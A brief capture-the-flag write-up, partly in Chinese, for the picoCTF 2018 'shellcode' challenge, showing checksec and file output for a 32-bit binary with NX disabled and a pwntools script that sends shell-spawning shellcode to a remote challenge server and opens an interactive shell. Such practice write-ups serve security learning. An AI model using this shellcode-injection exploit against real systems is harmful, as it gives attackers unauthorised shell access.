HugeH4rD

picoctf_2018_shellcode

Ubuntu 18 来源：https://github.com/hebtuerror404

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/picoctf_2018_shellcode/PicoCTF_2018_shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

$ file PicoCTF_2018_shellcode       
PicoCTF_2018_shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped

0x03

---

exp

from pwn import *

context(os='linux', arch='i386', log_level='debug')
io = remote('node4.buuoj.cn', 28491)
path = './PicoCTF_2018_shellcode'
# io = process([path])

shellcode = asm(shellcraft.sh())
payload = flat(shellcode)
io.sendline(payload)
io.interactive()